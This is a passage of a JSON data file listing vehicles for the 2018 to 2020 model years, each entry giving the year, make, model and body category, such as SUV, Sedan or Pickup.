"Make": "Cadillac",
"Model": "XT4",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Buick",
"Model": "Enclave",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Audi",
"Model": "Q5",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "EcoSport",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Escape",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Edge",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Convertible"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Kona Electric",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Equinox",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Sierra 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Gladiator",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "BMW",
"Model": "X7",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "CT6-V",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Audi",
"Model": "A7",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "F150 SuperCrew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Suburban",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Civic",
"Category": "Hatchback, Sedan, Coupe"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "Escalade",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chrysler",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Accord Hybrid",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Spark",
"Category": "Hatchback"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Sierra 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "NEXO",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Veloster",
"Category": "Coupe"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Silverado 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Genesis",
"Model": "G70",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Cadillac",
"Model": "CT5",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Elantra GT",
"Category": "Hatchback"
},
{
"Year": 2020,
"Make": "Acura",
"Model": "RDX",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Yukon XL",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Ranger SuperCab",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Expedition MAX",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Kona",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "INFINITI",
"Model": "QX50",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Palisade",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Bolt EV",
"Category": "Hatchback"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Expedition",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Passport",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Dodge",
"Model": "Charger",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "INFINITI",
"Model": "QX60",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Venue",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "GMC",
"Model": "Acadia",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Impala",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "BMW",
"Model": "X5",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "INFINITI",
"Model": "Q60",
"Category": "Coupe"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Ranger SuperCrew",
"Category": "Pickup"
},
{
"Year": 2020,
"Make": "Chevrolet",
"Model": "Trax",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Ioniq Plug-in Hybrid",
"Category": "Hatchback"
},
{
"Year": 2020,
"Make": "Jaguar",
"Model": "E-PACE",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Honda",
"Model": "HR-V",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Jaguar",
"Model": "I-PACE",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "INFINITI",
"Model": "Q50",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Genesis",
"Model": "G80",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Jaguar",
"Model": "F-PACE",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Renegade",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Jaguar",
"Model": "F-TYPE",
"Category": "Convertible"
},
{
"Year": 2020,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2020,
"Make": "Land Rover",
"Model": "Discovery Sport",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Optima",
"Category": "Sedan"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 2020,
"Make": "Kia",
"Model": "Optima Hybrid",
"Category": "Sedan"
},
{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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},
{
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{
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{
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{
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{
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},
{
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{
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{
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},
{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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"Year": 2019,
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"Year": 2019,
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{
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{
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"Year": 2019,
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{
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{
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{
"Year": 2019,
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{
"Year": 2019,
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{
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{
"Year": 2019,
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{
"Year": 2019,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2018,
"Make": "Bentley",
"Model": "Mulsanne",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X2",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X5 M",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X6",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "i3",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "M2",
"Category": "Coupe"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X4",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X5",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X1",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "Enclave",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "Envision",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "5 Series",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "LaCrosse",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "Encore",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "BMW",
"Model": "X6 M",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "Regal Sportback",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Buick",
"Model": "Regal TourX",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "CT6",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "CTS",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "ATS-V",
"Category": "Coupe, Sedan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Colorado Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Bolt EV",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Coupe, Convertible"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Express 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "ATS",
"Category": "Coupe, Sedan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Colorado Extended Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "CTS-V",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "Escalade ESV",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "XT5",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "XTS",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Cadillac",
"Model": "Escalade",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "City Express",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Cruze",
"Category": "Sedan, Hatchback"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Spark",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Express 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Equinox",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Express 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Coupe, Convertible"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Impala",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Express 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Malibu",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Sonic",
"Category": "Sedan, Hatchback"
},
{
"Year": 2018,
"Make": "Chrysler",
"Model": "300",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Traverse",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chrysler",
"Model": "Pacifica",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 1500 Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Dodge",
"Model": "Journey",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Trax",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Suburban",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Silverado 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
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"Model": "GTC4Lusso",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Ferrari",
"Model": "488 GTB",
"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Chrysler",
"Model": "Pacifica Hybrid",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Suburban 3500HD",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Dodge",
"Model": "Challenger",
"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Volt",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "124 Spider",
"Category": "Convertible"
},
{
"Year": 2018,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Dodge",
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"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Ferrari",
"Model": "812 Superfast",
"Category": "Coupe"
},
{
"Year": 2018,
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"Model": "Portofino",
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},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500e",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500 Abarth",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Ferrari",
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},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500c",
"Category": "Convertible"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Edge",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500c Abarth",
"Category": "Convertible"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Escape",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "C-MAX Hybrid",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Expedition MAX",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "F150 SuperCrew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ford",
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500L",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "FIAT",
"Model": "500X",
"Category": "SUV"
},
{
"Year": 2018,
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"Category": "SUV"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "EcoSport",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Fiesta",
"Category": "Hatchback, Sedan"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Fusion",
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},
{
"Year": 2018,
"Make": "Ford",
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"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "F450 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Transit 150 Van",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Focus",
"Category": "Sedan, Hatchback"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Transit Connect Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Transit 350 HD Van",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Fusion Energi",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Flex",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Mustang",
"Category": "Convertible, Coupe"
},
{
"Year": 2018,
"Make": "Freightliner",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Freightliner",
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},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
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},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan"
},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Freightliner",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Acadia",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Genesis",
"Model": "G80",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Canyon Extended Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Genesis",
"Model": "G90",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Canyon Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Savana 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Savana 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 2500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 3500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 1500 Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Accord Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Sierra 3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Civic Type R",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Santa Fe Sport",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Ioniq Hybrid",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "HR-V",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Fit",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Civic",
"Category": "Coupe, Hatchback, Sedan"
},
{
"Year": 2018,
"Make": "GMC",
"Model": "Yukon XL",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Ioniq Plug-in Hybrid",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Ioniq Electric",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Clarity Plug-in Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Elantra GT",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Clarity Fuel Cell",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Sonata Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Clarity Electric",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "Q50",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Renegade",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "QX60",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Sonata Plug-in Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "F-PACE",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "XF",
"Category": "Sedan, Wagon"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "QX80",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "Q60",
"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "E-PACE",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "Q70",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Hyundai",
"Model": "Kona",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "XE",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Wrangler Unlimited",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Jaguar",
"Model": "F-TYPE",
"Category": "Convertible, Coupe"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Forte5",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Optima Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Forte",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Cadenza",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Soul EV",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Niro Plug-in Hybrid",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "INFINITI",
"Model": "QX30",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Optima Plug-in Hybrid",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Kia",
"Model": "Soul",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Land Rover",
"Model": "Discovery",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Kia",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Lexus",
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},
{
"Year": 2018,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Land Rover",
"Model": "Range Rover Velar",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Land Rover",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Kia",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Land Rover",
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},
{
"Year": 2018,
"Make": "Lexus",
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"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Lexus",
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},
{
"Year": 2018,
"Make": "Lincoln",
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"Category": "SUV"
},
{
"Year": 2018,
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},
{
"Year": 2018,
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"Model": "Range Rover Evoque",
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},
{
"Year": 2018,
"Make": "Lincoln",
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},
{
"Year": 2018,
"Make": "Lexus",
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},
{
"Year": 2018,
"Make": "Lexus",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Lincoln",
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"Category": "SUV"
},
{
"Year": 2018,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Maserati",
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"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Maserati",
"Model": "Levante",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Mercedes-Benz",
"Model": "GLS",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "MAZDA",
"Model": "MX-5 Miata RF",
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},
{
"Year": 2018,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "McLaren",
"Model": "570GT",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Mercedes-Benz",
"Model": "GLE",
"Category": "SUV"
},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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"Model": "Mercedes-AMG GLE",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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{
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{
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"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
